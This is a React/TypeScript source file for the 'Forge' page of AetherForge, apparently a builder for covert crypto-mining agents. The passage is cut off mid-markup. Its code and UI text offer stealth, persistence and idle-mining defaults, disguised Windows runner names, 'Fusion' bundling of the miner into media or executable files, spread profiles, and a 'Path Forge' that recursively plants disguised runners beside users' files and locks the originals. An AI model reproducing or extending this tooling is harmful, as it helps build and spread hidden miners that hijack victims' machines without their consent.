Files
AetherForge/server/web/src/pages/BuilderPage.tsx
AetherForge 50ebfe53cb Add Android APK fleet nodes with Crucible UI integration and tests.
APK wrapper registers platform=android via AETHERFORGE_PLATFORM; fleet UI shows robot icons, Android Access Depth probes, and a shortened mining onion timeline.
2026-06-07 02:44:29 -07:00

3211 lines
154 KiB
TypeScript
Raw Blame History

This file contains invisible Unicode characters
This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
import { useState, useEffect, useRef, useMemo, useCallback } from 'react';
import { Link, useNavigate, useSearchParams } from 'react-router-dom';
import { api } from '../api/client';
import type { BuildRequest, BuildRecord, BuildResponse, ServerConfig, ServerInfo, BlueprintInfo, FusionEstimate } from '../types';
import { HelpTip, FieldHint } from '../components/HelpTip';
import NeonCard from '../components/NeonCard/NeonCard';
import { SETUP_CHEATSHEET, FIELD_HELP } from '../help/settingHelp';
import {
forgeDefaultsFromServerSmart,
applySmartForgeDefaults,
RECOMMENDED_DEFAULTS_BLURB,
suggestWorkerName,
processNameForWorker,
} from '../help/forgeSmartDefaults';
import { getSetupStatus } from '../help/setupStatus';
import SetupBanner from '../components/SetupBanner';
import { lanEndpointCandidates } from '../help/endpointHelpers';
import { runForgePreflight, preflightHasErrors } from '../help/forgeValidation';
import { previewInstallPath } from '../help/installPreview';
import { applyForgeFieldUpdate, getForgeFieldMeta, getForgeLiveNotices } from '../help/forgeRules';
import {
applyDeliverableType,
deriveDeliverableType,
deliverableSummary,
installBaseOptionsForTarget,
normalizeForgeForm,
type ForgeDeliverable,
} from '../help/forgeFormNormalize';
import { ForgeFieldBadge, ForgeLockedHint, ForgeSectionHeader } from '../components/Forge/ForgeFieldHints';
import ForgeDispenseReveal from '../components/Forge/ForgeDispenseReveal';
import { blueprintDiff, buildRequestFromRecord } from '../help/buildManager';
import DownloadButton from '../components/DownloadButton';
import PoolPresetPicker from '../components/PoolPresetPicker';
import RVNPoolPresetPicker from '../components/RVNPoolPresetPicker';
import { useModalAmbientDuck } from '../context/AmbientMusicContext';
import { useForge } from '../context/ForgeContext';
import {
fusionPayloadKind,
fusionTitleFromFilename,
fusionFileTypeLabel,
disguisedWindowsRunnerName,
disguisedDisplayName,
defaultRunnerName,
defaultEmbeddedName,
} from '../help/fusionMedia';
import { SPREAD_PROFILES, applySpreadProfile, type SpreadProfileId } from '../help/spreadProfiles';
import {
FORGE_THEME_EVENT,
OPERATION_MODES,
applyOperationMode,
forgeSkinClassName,
loadStoredForgeTheme,
loadStoredOperationMode,
resolveForgeSkin,
storeOperationMode,
type OperationModeId,
} from '../help/forgeOperationModes';
import {
MISSION_STEPS,
MISSION_STEP_LABELS,
applyMissionPresets,
missionStepStatus,
runForgeMission,
type MissionStep,
} from '../help/forgeMission';
import {
MISSION_OPERATION_CHIPS,
MISSION_WIZARD_STEPS,
MISSION_WIZARD_STEP_LABELS,
canAdvanceWizardStep,
missionChipForMode,
nextWizardStep,
operationModeForChip,
prevWizardStep,
wizardPillStatus,
type MissionOperationChip,
type MissionWizardStep,
} from '../help/forgeMissionWizard';
import { LOTL_ONION_TIER_DOCS } from '../help/lotlOnionTiers';
import { spreadTechniqueDocUrl } from '../help/spreadTechniques';
import './BuilderPage.css';
function forgePageClass(operationMode: OperationModeId, themeOverride: ReturnType<typeof loadStoredForgeTheme>): string {
return `page fade-in command-deck operator-deck-page ${forgeSkinClassName(resolveForgeSkin(operationMode, themeOverride))}`;
}
export function formatBytes(n: number): string {
if (n < 1024) return `${n} B`;
const units = ['KB', 'MB', 'GB'];
let v = n / 1024;
for (const u of units) {
if (v < 1024) return `${v.toFixed(2)} ${u}`;
v /= 1024;
}
return `${v.toFixed(2)} TB`;
}
function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo, builds: BuildRecord[] = []): BuildRequest {
return forgeDefaultsFromServerSmart(config, serverInfo, builds);
}
// Poll interval (ms) for real server-side build progress.
const FORGE_POLL_MS = 1000;
function ForgeProgressBar({ building, stage, progress }: { building: boolean; stage: string; progress: number }) {
if (!building) return null;
return (
<div className="forge-progress-wrap" aria-live="polite">
<div className="forge-progress-header">
<span className="forge-progress-icon"></span>
<span className="forge-progress-stage">{stage || 'Initializing...'}</span>
<span className="forge-progress-pct">{Math.round(progress)}%</span>
</div>
<div className="forge-progress-track">
<div
className="forge-progress-fill"
style={{ width: `${progress}%` }}
/>
<div className="forge-progress-glow" style={{ left: `${progress}%` }} />
</div>
</div>
);
}
const FORGE_MODE_KEY = 'aetherforge-forge-mode';
function loadSimpleMode(): boolean {
try {
const v = localStorage.getItem(FORGE_MODE_KEY);
if (v === 'advanced') return false;
} catch {
/* ignore */
}
return true;
}
export default function BuilderPage() {
const navigate = useNavigate();
const [searchParams, setSearchParams] = useSearchParams();
const { startForge, endForge, setStage, stage: forgeStage, progress: forgeProgress } = useForge();
const forgeStageTimerRef = useRef<ReturnType<typeof setTimeout> | null>(null);
const [form, setForm] = useState<BuildRequest | null>(null);
const [building, setBuilding] = useState(false);
const [error, setError] = useState('');
const [lastBuild, setLastBuild] = useState<BuildResponse | null>(null);
const [dispenseReveal, setDispenseReveal] = useState<BuildResponse | null>(null);
const [recentBuilds, setRecentBuilds] = useState<BuildRecord[]>([]);
const [loadingDefaults, setLoadingDefaults] = useState(true);
const [fusionPrepFile, setFusionPrepFile] = useState<File | null>(null);
const [fusionBatchFiles, setFusionBatchFiles] = useState<File[]>([]);
const [batchJob, setBatchJob] = useState<{
total: number;
current: number;
fileName: string;
phase: string;
percent: number;
log: { name: string; status: 'pending' | 'active' | 'ok' | 'fail'; detail?: string }[];
} | null>(null);
const [fusionEstimate, setFusionEstimate] = useState<FusionEstimate | null>(null);
const [estimateLoading, setEstimateLoading] = useState(false);
// ── PATH FORGE (server-side recursive seeding) ─────────────────────────────
const [pfPath, setPfPath] = useState('');
const [pfStemMode, setPfStemMode] = useState<'original' | 'custom'>('original');
const [pfStem, setPfStem] = useState('');
const [pfWindows, setPfWindows] = useState(true);
const [pfMac, setPfMac] = useState(true);
const [pfLock, setPfLock] = useState(true);
const [pfBusy, setPfBusy] = useState(false);
const [pfResult, setPfResult] = useState<{
placed: number; total: number; errors: number;
results: { source: string; files: string[] }[];
error_list?: string[];
} | null>(null);
// Set to true to request cancellation between batch iterations
const batchCancelRef = useRef(false);
// Tracks the cancel_token of the currently-running forge so we can kill it server-side
const cancelTokenRef = useRef<string>('');
const [estimateError, setEstimateError] = useState('');
const [serverInfo, setServerInfo] = useState<ServerInfo | null>(null);
const [calibrateConfig, setCalibrateConfig] = useState<ServerConfig | null>(null);
const [listenPort, setListenPort] = useState(8989);
const [showBlueprintOffer, setShowBlueprintOffer] = useState(false);
const forgedThisSessionRef = useRef(false);
const [refreshingEndpoints, setRefreshingEndpoints] = useState(false);
const [simpleMode, setSimpleMode] = useState(loadSimpleMode);
const [pendingReforgeBuild, setPendingReforgeBuild] = useState<BuildRecord | null>(null);
const [highlightFusionPrep, setHighlightFusionPrep] = useState(false);
const fusionPrepRef = useRef<HTMLDivElement>(null);
const [spreadProfile, setSpreadProfile] = useState<SpreadProfileId | ''>('');
const [operationMode, setOperationMode] = useState<OperationModeId>(loadStoredOperationMode);
const [forgeTheme, setForgeTheme] = useState(loadStoredForgeTheme);
const [missionCampaign, setMissionCampaign] = useState('forge-mission');
const [missionWizardStep, setMissionWizardStep] = useState<MissionWizardStep>('mode');
const [missionOperationChip, setMissionOperationChip] = useState<MissionOperationChip>(() =>
missionChipForMode(loadStoredOperationMode()),
);
const [missionStep, setMissionStep] = useState<MissionStep | null>(null);
const [missionBusy, setMissionBusy] = useState(false);
const [missionExportSkipped, setMissionExportSkipped] = useState(false);
const [missionComplete, setMissionComplete] = useState(false);
useModalAmbientDuck(missionComplete);
useEffect(() => {
const syncTheme = () => setForgeTheme(loadStoredForgeTheme());
window.addEventListener(FORGE_THEME_EVENT, syncTheme);
window.addEventListener('storage', syncTheme);
return () => {
window.removeEventListener(FORGE_THEME_EVENT, syncTheme);
window.removeEventListener('storage', syncTheme);
};
}, []);
const forgeSkinClass = forgePageClass(operationMode, forgeTheme);
// Poll real server-side build progress while a single build is running.
// The server exposes GET /api/v1/builder/progress/{token} which returns
// {stage, pct} updated at each key compile stage, so the bar reflects
// actual server activity instead of a client-side time estimate.
useEffect(() => {
if (!building || batchJob) {
endForge();
if (forgeStageTimerRef.current) clearTimeout(forgeStageTimerRef.current);
return;
}
startForge();
const token = cancelTokenRef.current;
if (!token) return;
let active = true;
const poll = async () => {
if (!active) return;
try {
const { authHeaders } = await import('../api/auth');
const res = await fetch(`/api/v1/builder/progress/${token}`, {
headers: authHeaders(),
});
if (res.ok) {
const data: { stage: string; pct: number } = await res.json();
if (active && data.stage) {
setStage(data.stage, data.pct);
}
}
} catch {
// network hiccup — keep polling
}
if (active) {
forgeStageTimerRef.current = setTimeout(poll, FORGE_POLL_MS);
}
};
poll();
return () => {
active = false;
if (forgeStageTimerRef.current) clearTimeout(forgeStageTimerRef.current);
};
// eslint-disable-next-line react-hooks/exhaustive-deps
}, [building, batchJob]);
const setForgeMode = (simple: boolean) => {
setSimpleMode(simple);
try {
localStorage.setItem(FORGE_MODE_KEY, simple ? 'simple' : 'advanced');
} catch {
/* ignore */
}
};
const refreshEndpointInfo = async () => {
setRefreshingEndpoints(true);
try {
const [config, info] = await Promise.all([api.getConfig(), api.getServerInfo()]);
setServerInfo(info);
setListenPort(config.port || info.port || 8989);
return info;
} finally {
setRefreshingEndpoints(false);
}
};
// Blueprint state
const [blueprints, setBlueprints] = useState<BlueprintInfo[]>([]);
const [showBlueprints, setShowBlueprints] = useState(false);
const [blueprintName, setBlueprintName] = useState('');
const [blueprintMsg, setBlueprintMsg] = useState('');
const [loadingBlueprints, setLoadingBlueprints] = useState(false);
const [compareBlueprint, setCompareBlueprint] = useState<Record<string, unknown> | null>(null);
const fileInputRef = useRef<HTMLInputElement>(null);
useEffect(() => {
Promise.all([
api.getConfig(),
api.getServerInfo().catch(() => null),
api.listBuilds().catch(() => []),
])
.then(([config, info, builds]) => {
setCalibrateConfig(config);
if (info) {
setServerInfo(info);
setListenPort(config.port || info.port || 8989);
} else {
setListenPort(config.port || 8989);
}
const candidates = info ? lanEndpointCandidates(info, config.port || info.port) : [];
const buildList = builds as BuildRecord[];
const base = defaultsFromConfig(config, info ?? { port: config.port || 8989, host: '', local_ips: [], suggested_url: '', dashboard_url: '', websocket_url: '' }, buildList);
setRecentBuilds(buildList);
const withDefaults = applySmartForgeDefaults(base, { builds: buildList, endpointCandidates: candidates });
setForm(applyOperationMode(withDefaults, loadStoredOperationMode()));
})
.catch((err) => {
console.error(err);
setError('Failed to load server config — is the control server running?');
})
.finally(() => setLoadingDefaults(false));
}, []);
const loadRecentBuilds = async () => {
try {
const builds = await api.listBuilds();
setRecentBuilds(builds);
} catch (err) {
console.error(err);
}
};
// Handle ?reforge=<buildId> links from Build Manager — pre-fill only; user confirms before compile.
useEffect(() => {
const reforgeId = searchParams.get('reforge');
if (!reforgeId || !form || recentBuilds.length === 0) return;
const match = recentBuilds.find((b) => b.id === reforgeId);
if (match) {
const merged = buildRequestFromRecord(match, form as unknown as Record<string, unknown>) as unknown as BuildRequest;
setForm(merged);
setPendingReforgeBuild(match);
setError('');
setLastBuild(null);
setSearchParams({}, { replace: true });
}
// eslint-disable-next-line react-hooks/exhaustive-deps
}, [searchParams, recentBuilds, form]);
const finishForgeSuccess = async (result: BuildResponse) => {
setStage('Build complete!', 100);
setLastBuild(result);
setDispenseReveal(result);
loadRecentBuilds();
if (!forgedThisSessionRef.current) {
forgedThisSessionRef.current = true;
setShowBlueprintOffer(true);
}
};
const handleForgeNextWorker = () => {
if (!form) return;
const name = suggestWorkerName([
...recentBuilds,
{ worker_name: form.worker_name } as BuildRecord,
]);
setForm({
...form,
worker_name: name,
process_name: processNameForWorker(name),
});
setLastBuild(null);
setError('');
};
const handleSaveFleetBlueprint = async () => {
if (!form) return;
const name = prompt('Save this setup as a fleet blueprint:', 'fleet-default');
if (!name || !name.trim()) return;
setBlueprintMsg('');
try {
const result = await api.saveBlueprint(name.trim(), form);
setBlueprintMsg(`✅ Blueprint "${result.name}" saved`);
setShowBlueprintOffer(false);
setTimeout(() => setBlueprintMsg(''), 4000);
} catch (err: unknown) {
setBlueprintMsg(`❌ Failed to save: ${err instanceof Error ? err.message : String(err)}`);
}
};
// Blueprint: save current form as a named blueprint
const handleSaveBlueprint = async () => {
if (!form) return;
const name = prompt('Enter a name for this blueprint:', form.worker_name || 'my-miner-config');
if (!name || !name.trim()) return;
setBlueprintMsg('');
try {
const result = await api.saveBlueprint(name.trim(), form);
setBlueprintMsg(`✅ Blueprint "${result.name}" saved`);
setTimeout(() => setBlueprintMsg(''), 3000);
} catch (err: any) {
setBlueprintMsg(`❌ Failed to save: ${err.message}`);
}
};
// Blueprint: load blueprints list and show picker
const handleLoadBlueprint = async () => {
try {
setLoadingBlueprints(true);
const list = await api.listBlueprints();
setBlueprints(list);
setShowBlueprints(true);
} catch (err: any) {
setBlueprintMsg(`❌ Failed to load blueprints: ${err.message}`);
} finally {
setLoadingBlueprints(false);
}
};
// Blueprint: apply a selected blueprint to the form
const handleApplyBlueprint = async (name: string) => {
try {
const data = await api.getBlueprint(name);
setCompareBlueprint(data as Record<string, unknown>);
setBlueprintName(name);
// Merge loaded data into form, preserving any fields not in the blueprint
setForm((prev) => (prev ? { ...prev, ...data } : prev));
setShowBlueprints(false);
setBlueprintMsg(`✅ Blueprint "${name}" loaded`);
setTimeout(() => setBlueprintMsg(''), 3000);
} catch (err: any) {
setBlueprintMsg(`❌ Failed to load blueprint: ${err.message}`);
}
};
const focusFusionPrepPicker = () => {
setHighlightFusionPrep(true);
fusionPrepRef.current?.scrollIntoView({ behavior: 'smooth', block: 'center' });
window.setTimeout(() => setHighlightFusionPrep(false), 6000);
};
const reForgeFromBuild = async (build: BuildRecord) => {
if (!form) return;
const merged = buildRequestFromRecord(build, form as unknown as Record<string, unknown>) as unknown as BuildRequest;
setForm(merged);
setError('');
setLastBuild(null);
// Fusion re-forge requires the payload file — prep files are not kept on the
// server after a build completes (M15). Prompt the user to re-upload first.
if (merged.fusion_enabled && !fusionPrepFile) {
setError(
'This build used a Fusion payload. Re-upload the payload file in the Fusion section below, then confirm Re-forge again.'
);
focusFusionPrepPicker();
return;
}
const checks = runForgePreflight(merged, !!fusionPrepFile);
if (preflightHasErrors(checks)) {
setError('Re-forge preflight failed — adjust settings and forge manually.');
return;
}
const reforgeToken = crypto.randomUUID();
cancelTokenRef.current = reforgeToken;
setBuilding(true);
try {
const result = await api.buildAgent({ ...merged, cancel_token: reforgeToken }, fusionPrepFile);
if (!result.success) throw new Error(result.error || 'Build failed');
await finishForgeSuccess(result);
setBlueprintMsg(`✅ Re-forged ${build.worker_name}`);
} catch (err: any) {
setError(err.message || 'Re-forge failed');
} finally {
setBuilding(false);
}
};
// Blueprint: delete a blueprint
const handleDeleteBlueprint = async (name: string) => {
if (!confirm(`Delete blueprint "${name}"?`)) return;
try {
await api.deleteBlueprint(name);
setBlueprints((prev) => prev.filter((b) => b.name !== name));
} catch (err: any) {
setBlueprintMsg(`❌ Failed to delete: ${err.message}`);
}
};
// Blueprint: import from a local .json file
const handleImportBlueprintFile = () => {
fileInputRef.current?.click();
};
const handleFileSelected = (e: React.ChangeEvent<HTMLInputElement>) => {
const file = e.target.files?.[0];
if (!file) return;
const reader = new FileReader();
reader.onload = (evt) => {
try {
const data = JSON.parse(evt.target?.result as string) as Record<string, unknown>;
setCompareBlueprint(data);
setBlueprintName(file.name);
setForm((prev) => (prev ? { ...prev, ...data } : prev));
setBlueprintMsg(`✅ Blueprint loaded from "${file.name}"`);
setTimeout(() => setBlueprintMsg(''), 3000);
} catch {
setBlueprintMsg('❌ Invalid JSON file');
}
};
reader.readAsText(file);
// Reset input so same file can be re-selected
e.target.value = '';
};
// Blueprint: export current form as a downloadable .json file
const handleExportBlueprintFile = () => {
if (!form) return;
const blob = new Blob([JSON.stringify(form, null, 2)], { type: 'application/json' });
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = `${form.worker_name || 'miner-config'}-blueprint.json`;
a.click();
URL.revokeObjectURL(url);
};
const applyFusionFileSelection = (f: File | null) => {
setFusionPrepFile(f);
if (!f) return;
const isImage = /\.(png|jpe?g|gif|webp|bmp|ico|tiff?)$/i.test(f.name);
// Images in embedded mode often blow up compile size; paired ZIP is reliable for any size.
const preferPaired = isImage || f.size > 500 * 1024 * 1024;
setForm((prev) => {
if (!prev) return prev;
return normalizeForgeForm({
...prev,
fusion_payload_kind: fusionPayloadKind(f),
fusion_media_base_name: f.name,
fusion_output_name: defaultRunnerName(f.name),
...(preferPaired && prev.fusion_media_mode === 'embedded'
? { fusion_media_mode: 'paired' as const }
: {}),
...(!prev.fusion_enabled
? { fusion_enabled: true, spread_kit: false, target_os: 'universal', target_arch: 'all' }
: {}),
});
});
};
// Kill the current server-side compile via the cancel API, then stop the batch loop.
const handleKillBuild = useCallback(async () => {
const tok = cancelTokenRef.current;
if (tok) {
try { await api.cancelBuild(tok); } catch { /* ignore */ }
}
batchCancelRef.current = true;
setBuilding(false);
}, []);
const handlePathForge = async () => {
if (!pfPath.trim()) { alert('Enter a folder path first.'); return; }
if (!pfWindows && !pfMac) { alert('Select at least one target platform.'); return; }
setPfBusy(true);
setPfResult(null);
try {
const { authHeaders } = await import('../api/auth');
const res = await fetch('/api/v1/builder/path-forge', {
method: 'POST',
headers: { 'Content-Type': 'application/json', ...authHeaders() },
body: JSON.stringify({
root_path: pfPath.trim(),
stem_mode: pfStemMode,
output_stem: pfStem.trim(),
target_windows: pfWindows,
target_mac: pfMac,
lock_original: pfLock,
server_url: form?.server_url ?? '',
}),
});
const data = await res.json();
setPfResult(data);
} catch (err) {
setPfResult({ placed: 0, total: 0, errors: 1, results: [], error_list: [String(err)] });
} finally {
setPfBusy(false);
}
};
const handleBatchCancel = () => {
batchCancelRef.current = true;
// Also kill the currently-running server compile
const tok = cancelTokenRef.current;
if (tok) {
api.cancelBuild(tok).catch(() => {});
}
};
const handleBatchForge = async () => {
if (!form || fusionBatchFiles.length === 0) return;
setError('');
setLastBuild(null);
batchCancelRef.current = false;
setBuilding(true);
const total = fusionBatchFiles.length;
const log = fusionBatchFiles.map((f) => ({ name: f.name, status: 'pending' as const }));
setBatchJob({ total, current: 0, fileName: '', phase: 'starting', percent: 0, log });
let ok = 0;
try {
for (let i = 0; i < total; i++) {
if (batchCancelRef.current) {
setBatchJob((j) => (j ? { ...j, phase: 'cancelled', fileName: '' } : j));
setBlueprintMsg(`Batch forge cancelled after ${ok} of ${total} file(s).`);
setTimeout(() => setBlueprintMsg(''), 5000);
break;
}
const file = fusionBatchFiles[i];
const title = fusionTitleFromFilename(file.name);
const pct = Math.round((i / total) * 100);
setBatchJob((j) =>
j
? {
...j,
current: i + 1,
fileName: file.name,
phase: 'building',
percent: pct,
log: j.log.map((row, idx) =>
idx === i ? { ...row, status: 'active', detail: 'Forging + packaging ZIP…' } : row
),
}
: j
);
const req = normalizeForgeForm({
...form,
target_os: 'universal',
fusion_enabled: true,
spread_kit: false,
fusion_payload_kind: fusionPayloadKind(file),
fusion_media_base_name: file.name,
fusion_export_subdir: title,
fusion_output_name: defaultRunnerName(file.name),
worker_name: `${form.worker_name || 'miner'}-${title}`.replace(/[^a-zA-Z0-9._-]+/g, '_').slice(0, 48),
});
const checks = runForgePreflight(req, true);
if (preflightHasErrors(checks)) {
throw new Error(`Preflight failed for ${file.name}`);
}
const batchToken = crypto.randomUUID();
cancelTokenRef.current = batchToken;
const result = await api.buildAgent({ ...req, cancel_token: batchToken }, file);
cancelTokenRef.current = '';
if (!result.success) throw new Error(result.error || `Build failed: ${file.name}`);
setBatchJob((j) =>
j
? {
...j,
phase: 'downloading',
log: j.log.map((row, idx) =>
idx === i ? { ...row, detail: `Downloading ${result.bundle_file_name || 'package'}` } : row
),
}
: j
);
await finishForgeSuccess(result);
ok++;
setBatchJob((j) =>
j
? {
...j,
log: j.log.map((row, idx) =>
idx === i
? {
...row,
status: 'ok',
detail: result.fusion_export_dir
? `Saved → ${result.fusion_export_dir}`
: 'ZIP downloaded',
}
: row
),
}
: j
);
}
setBatchJob((j) => (j ? { ...j, phase: 'done', percent: 100, fileName: '' } : j));
setBlueprintMsg(`✅ Batch forged ${ok} file(s) — one universal ZIP per file in fusion-deliverables/`);
setTimeout(() => setBlueprintMsg(''), 6000);
setFusionBatchFiles([]);
} catch (err: unknown) {
const msg = err instanceof Error ? err.message : 'Batch forge failed';
setError(msg);
setBatchJob((j) =>
j
? {
...j,
phase: 'error',
log: j.log.map((row) =>
row.status === 'active' ? { ...row, status: 'fail', detail: msg } : row
),
}
: j
);
} finally {
setBuilding(false);
setTimeout(() => setBatchJob(null), 8000);
}
};
const selectMissionOperationChip = (chip: MissionOperationChip) => {
setMissionOperationChip(chip);
const modeId = operationModeForChip(chip);
setOperationMode(modeId);
storeOperationMode(modeId);
if (form) setForm(applyOperationMode(form, modeId));
};
const handleLaunchMission = async () => {
if (!form) return;
setError('');
setLastBuild(null);
setMissionComplete(false);
setMissionExportSkipped(false);
setMissionWizardStep('launch');
const normalized = applyMissionPresets(form, operationMode, spreadProfile);
setForm(normalized);
const checks = runForgePreflight(normalized, !!fusionPrepFile);
if (preflightHasErrors(checks)) {
setError('Mission blocked — fix preflight errors before launching.');
return;
}
const serverBase = (normalized.server_url || serverInfo?.suggested_url || window.location.origin).replace(/\/$/, '');
const cancelToken = crypto.randomUUID();
cancelTokenRef.current = cancelToken;
setMissionBusy(true);
setMissionStep('configure');
setBuilding(true);
try {
const result = await runForgeMission({
form: normalized,
operationMode,
spreadProfile,
campaign: missionCampaign,
serverBase,
fusionPrepFile,
api,
cancelToken,
onStep: (step) => {
setMissionStep(step);
if (step === 'forge') startForge();
},
});
setMissionExportSkipped(result.exportSkipped);
setForm(normalized);
setMissionComplete(true);
await finishForgeSuccess(result.build);
} catch (err: unknown) {
const msg = err instanceof Error ? err.message : 'Mission failed';
if (msg !== 'build cancelled') {
setMissionStep('error');
setError(msg);
void loadRecentBuilds();
}
} finally {
cancelTokenRef.current = '';
setMissionBusy(false);
setBuilding(false);
}
};
const handleSubmit = async (e: React.FormEvent) => {
e.preventDefault();
if (!form) return;
setError('');
setLastBuild(null);
const normalized = normalizeForgeForm(form);
if (normalized !== form) {
setForm(normalized);
}
const checks = runForgePreflight(normalized, !!fusionPrepFile);
if (preflightHasErrors(checks)) {
setError('Preflight failed — fix errors in the checklist below before forging.');
return;
}
const cancelToken = crypto.randomUUID();
cancelTokenRef.current = cancelToken;
setBuilding(true);
try {
const result = await api.buildAgent({ ...normalized, cancel_token: cancelToken }, fusionPrepFile);
if (!result.success) {
throw new Error(result.error || 'Build failed');
}
await finishForgeSuccess(result);
} catch (err: any) {
if (err.message !== 'build cancelled') {
let msg = err?.message || 'Build failed';
const aborted =
err?.name === 'AbortError' ||
/abort|timed out|timeout/i.test(msg);
if (aborted) {
msg =
'Forge request ended early (browser or proxy timeout). The server may still be compiling — open Build Manager or refresh this page in a minute.';
}
setError(msg);
void loadRecentBuilds();
}
} finally {
cancelTokenRef.current = '';
setBuilding(false);
}
};
const applyRecommendedDefaults = async () => {
if (!form) return;
try {
const [config, info, builds] = await Promise.all([
api.getConfig(),
api.getServerInfo(),
api.listBuilds().catch(() => [] as BuildRecord[]),
]);
const candidates = lanEndpointCandidates(info, config.port || info.port);
const base = defaultsFromConfig(config, info, builds);
const kind = form ? deriveDeliverableType(form) : 'single';
// Preserve the user's manually-entered server_url — don't overwrite with LAN IP on defaults refresh
const merged = applySmartForgeDefaults({ ...base, fusion_enabled: form.fusion_enabled, server_url: form.server_url || base.server_url }, { builds, endpointCandidates: candidates });
setForm(applyOperationMode(applyDeliverableType(merged, kind), operationMode));
setBlueprintMsg('✅ Recommended defaults applied');
setTimeout(() => setBlueprintMsg(''), 2500);
} catch (err: unknown) {
setError(err instanceof Error ? err.message : 'Could not refresh defaults');
}
};
const updateField = (field: keyof BuildRequest, value: unknown) => {
setForm((prev) => (prev ? applyForgeFieldUpdate(prev, field, value) : prev));
};
const setDeliverableType = (type: ForgeDeliverable) => {
setForm((prev) => (prev ? applyDeliverableType(prev, type) : prev));
if (type !== 'fusion') {
setFusionPrepFile(null);
setFusionBatchFiles([]);
setFusionEstimate(null);
}
};
const deliverableType = form ? deriveDeliverableType(form) : 'single';
const installBaseOptions = installBaseOptionsForTarget(form?.target_os);
const fieldMeta = useMemo(() => (form ? getForgeFieldMeta(form) : {}), [form]);
const liveNotices = useMemo(
() => (form ? getForgeLiveNotices(form, !!fusionPrepFile) : []),
[form, fusionPrepFile]
);
const preflightChecks = useMemo(
() => (form ? runForgePreflight(normalizeForgeForm(form), !!fusionPrepFile) : []),
[form, fusionPrepFile]
);
const canForge = form ? !preflightHasErrors(preflightChecks) : false;
const errorCount = preflightChecks.filter((c) => c.level === 'error').length;
const blueprintChanges = useMemo(() => {
if (!compareBlueprint || !form) return [];
return blueprintDiff(compareBlueprint, form as unknown as Record<string, unknown>);
}, [compareBlueprint, form]);
const fusionIsExe = fusionPayloadKind(fusionPrepFile) === 'exe';
const fusionMediaMode = form?.fusion_media_mode || 'paired';
useEffect(() => {
if (!form?.fusion_enabled || !fusionPrepFile) {
setFusionEstimate(null);
setEstimateError('');
return;
}
let cancelled = false;
const timer = window.setTimeout(() => {
setEstimateLoading(true);
setEstimateError('');
api.estimateFusion(form, fusionPrepFile)
.then((est) => {
if (!cancelled) setFusionEstimate(est);
})
.catch((err: Error) => {
if (!cancelled) {
setFusionEstimate(null);
setEstimateError(err.message || 'Estimate failed');
}
})
.finally(() => {
if (!cancelled) setEstimateLoading(false);
});
}, 350);
return () => {
cancelled = true;
window.clearTimeout(timer);
};
}, [
form?.fusion_enabled,
form?.fusion_output_name,
form?.output_dir,
form?.obfuscate,
form?.sign_build,
form?.worker_name,
fusionPrepFile,
]);
// Cancel any in-progress server-side build when the component unmounts
// (e.g. user navigates away mid-forge). This closes the M14 UI desync where
// the server kept compiling after the Forge page was left.
useEffect(() => {
return () => {
const tok = cancelTokenRef.current;
if (tok) {
api.cancelBuild(tok).catch(() => {});
cancelTokenRef.current = '';
}
batchCancelRef.current = true;
};
}, []);
if (loadingDefaults) {
return (
<div className={forgeSkinClass}>
<header className="deck-hero">
<div className="deck-hero-text">
<p className="deck-eyebrow font-tech">INSTALLER FORGE</p>
<h1>Forge</h1>
</div>
</header>
<NeonCard accent="brass"><p>Loading forge defaults from server...</p></NeonCard>
</div>
);
}
if (!form) {
return (
<div className={forgeSkinClass}>
<header className="deck-hero">
<div className="deck-hero-text">
<p className="deck-eyebrow font-tech">INSTALLER FORGE</p>
<h1>Forge</h1>
</div>
</header>
<NeonCard accent="brass">
<p>{error || 'Failed to load forge defaults from server.'}</p>
</NeonCard>
</div>
);
}
const installPreview = previewInstallPath({
install_base: form.install_base,
install_custom_base: form.install_custom_base,
install_relative_path: form.install_relative_path,
worker_name: form.worker_name,
process_name: form.process_name,
target_os: form.target_os,
});
const endpointCandidates = serverInfo ? lanEndpointCandidates(serverInfo, listenPort) : [];
const setupStatus = getSetupStatus(calibrateConfig, serverInfo);
return (
<div className={forgeSkinClass}>
<SetupBanner status={setupStatus} />
{pendingReforgeBuild && (
<div className="reforge-confirm-banner form-error" role="alert">
<span></span>
<div style={{ flex: 1 }}>
<strong>Re-forge {pendingReforgeBuild.worker_name}?</strong>
<p className="form-hint" style={{ margin: '0.35rem 0 0', color: 'inherit' }}>
Settings were loaded from Build Manager. Confirm to start compiling this cannot be undone mid-forge.
</p>
</div>
<div style={{ display: 'flex', gap: '0.5rem', flexShrink: 0 }}>
<button
type="button"
className="btn btn-primary btn-sm"
disabled={building}
onClick={() => {
const build = pendingReforgeBuild;
setPendingReforgeBuild(null);
void reForgeFromBuild(build);
}}
>
Confirm Re-forge
</button>
<button
type="button"
className="btn btn-outline btn-sm"
disabled={building}
onClick={() => setPendingReforgeBuild(null)}
>
Cancel
</button>
</div>
</div>
)}
{/* Hidden file input for importing blueprint .json files */}
<input
type="file"
ref={fileInputRef}
style={{ display: 'none' }}
accept=".json,application/json"
onChange={handleFileSelected}
/>
<header className="deck-hero">
<div className="deck-hero-text">
<p className="deck-eyebrow font-tech">INSTALLER FORGE</p>
<h1>Forge</h1>
<p className="page-subtitle">
{simpleMode
? 'Simple mode: name the worker, confirm wallet + LAN URL, forge. Recommended defaults handle stealth, idle mining, and persistence.'
: 'Every miner option lives here — install path, stealth, Fusion, persistence. Calibrate tab is server-only.'}
</p>
</div>
<div className="deck-hero-actions" style={{ display: 'flex', gap: '8px', flexWrap: 'wrap', alignItems: 'center' }}>
<div className="forge-mode-toggle" role="group" aria-label="Forge display mode">
<button
type="button"
className={`btn btn-sm ${simpleMode ? 'btn-primary' : 'btn-outline'}`}
onClick={() => setForgeMode(true)}
title={FIELD_HELP.forge_simple_mode}
>
Simple
</button>
<button
type="button"
className={`btn btn-sm ${!simpleMode ? 'btn-primary' : 'btn-outline'}`}
onClick={() => setForgeMode(false)}
>
Advanced
</button>
</div>
<button className="btn btn-outline" onClick={loadRecentBuilds}>
Recent Builds
</button>
<button className="btn btn-outline" onClick={handleSaveBlueprint} title="Save current form as a named blueprint on the server">
💾 Save Blueprint
</button>
<button className="btn btn-outline" onClick={handleLoadBlueprint} title="Load a saved blueprint from the server">
📂 Load Blueprint
</button>
<button className="btn btn-outline" onClick={handleExportBlueprintFile} title="Download current form as a .json file">
